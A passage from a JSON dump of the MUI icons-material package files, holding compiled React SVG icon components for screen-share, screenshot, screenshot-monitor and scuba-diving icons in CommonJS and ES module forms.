    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5H4v11h16zm-4.53 10.03-2.09-2.09c-1.35.87-3.17.71-4.36-.47-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.18 1.18 1.34 3 .47 4.36l2.09 2.09z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2M4 5h16v11H4zM1 19h22v2H1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.97 7.53c-1.37-1.37-3.58-1.37-4.95 0s-1.37 3.58 0 4.95c1.18 1.18 3 1.34 4.36.47l2.09 2.09 1.06-1.06-2.09-2.09c.87-1.36.72-3.18-.47-4.36m-1.06 3.88c-.78.78-2.05.78-2.83 0s-.78-2.05 0-2.83 2.05-.78 2.83 0c.78.79.78 2.05 0 2.83\"\n}, \"2\")], 'ScreenSearchDesktopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\"\n}), 'ScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\"\n}), 'ScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm9-6.87c-3.89.54-5.44 3.2-6 5.87 1.39-1.87 3.22-2.72 6-2.72v2.19l4-3.74L13 7z\"\n}), 'ScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm9-6.87c-3.89.54-5.44 3.2-6 5.87 1.39-1.87 3.22-2.72 6-2.72v2.19l4-3.74L13 7z\"\n}), 'ScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.89 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l3.61 3.36c.21.2.21.53 0 .73z\"\n}), 'ScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.89 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l3.61 3.36c.21.2.21.53 0 .73z\"\n}), 'ScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\"\n}), 'ScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zm-7-3.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\"\n}), 'ScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 16V6H4v10.01zm-7-1.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm9-6.87c-3.89.54-5.44 3.2-6 5.87 1.39-1.87 3.22-2.72 6-2.72v2.19l4-3.74L13 7z\"\n}, \"1\")], 'ScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 16V6H4v10.01zm-7-1.53v-2.19c-2.78 0-4.61.85-6 2.72.56-2.67 2.11-5.33 6-5.87V7l4 3.73z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm9-6.87c-3.89.54-5.44 3.2-6 5.87 1.39-1.87 3.22-2.72 6-2.72v2.19l4-3.74L13 7z\"\n}, \"1\")], 'ScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Screenshot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'Screenshot');"
  },
  {
    "path": "packages/mui-icons-material/lib/Screenshot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'Screenshot');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitor');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitor');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 7.5h1.75c.41 0 .75-.34.75-.75S8.66 6 8.25 6H6c-.55 0-1 .45-1 1v2.25c0 .41.34.75.75.75s.75-.34.75-.75zM18.25 12c-.41 0-.75.34-.75.75v1.75h-1.75c-.41 0-.75.34-.75.75s.34.75.75.75H18c.55 0 1-.45 1-1v-2.25c0-.41-.34-.75-.75-.75\"\n}, \"1\")], 'ScreenshotMonitorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 7.5h1.75c.41 0 .75-.34.75-.75S8.66 6 8.25 6H6c-.55 0-1 .45-1 1v2.25c0 .41.34.75.75.75s.75-.34.75-.75zM18.25 12c-.41 0-.75.34-.75.75v1.75h-1.75c-.41 0-.75.34-.75.75s.34.75.75.75H18c.55 0 1-.45 1-1v-2.25c0-.41-.34-.75-.75-.75\"\n}, \"1\")], 'ScreenshotMonitorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2v16h6v2h8v-2h6zm-2 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2v16h6v2h8v-2h6zm-2 14H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"1\")], 'ScreenshotMonitorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h16V5H4zm11-2.5h2.5V12H19v4h-4zM5 6h4v1.5H6.5V10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"2\")], 'ScreenshotMonitorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotMonitorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h16V5H4zm11-2.5h2.5V12H19v4h-4zM5 6h4v1.5H6.5V10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h4v2h8v-2h4c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H4V5h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 7.5H9V6H5v4h1.5zM19 12h-1.5v2.5H15V16h4z\"\n}, \"2\")], 'ScreenshotMonitorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'ScreenshotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'ScreenshotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zM9.5 8.5h1.75c.41 0 .75-.34.75-.75S11.66 7 11.25 7h-2.5c-.41 0-.75.34-.75.75v2.5c0 .41.34.75.75.75s.75-.34.75-.75zm3.25 8.5h2.5c.41 0 .75-.34.75-.75v-2.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.75h-1.75c-.41 0-.75.34-.75.75s.34.75.75.75\"\n}), 'ScreenshotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zM9.5 8.5h1.75c.41 0 .75-.34.75-.75S11.66 7 11.25 7h-2.5c-.41 0-.75.34-.75.75v2.5c0 .41.34.75.75.75s.75-.34.75-.75zm3.25 8.5h2.5c.41 0 .75-.34.75-.75v-2.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.75h-1.75c-.41 0-.75.34-.75.75s.34.75.75.75\"\n}), 'ScreenshotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'ScreenshotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}), 'ScreenshotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"1\")], 'ScreenshotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenshotTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zM9.5 8.5H12V7H8v4h1.5zM12 17h4v-4h-1.5v2.5H12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"1\")], 'ScreenshotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDiving.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDiving');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDiving.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDiving');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingOutlined.js",
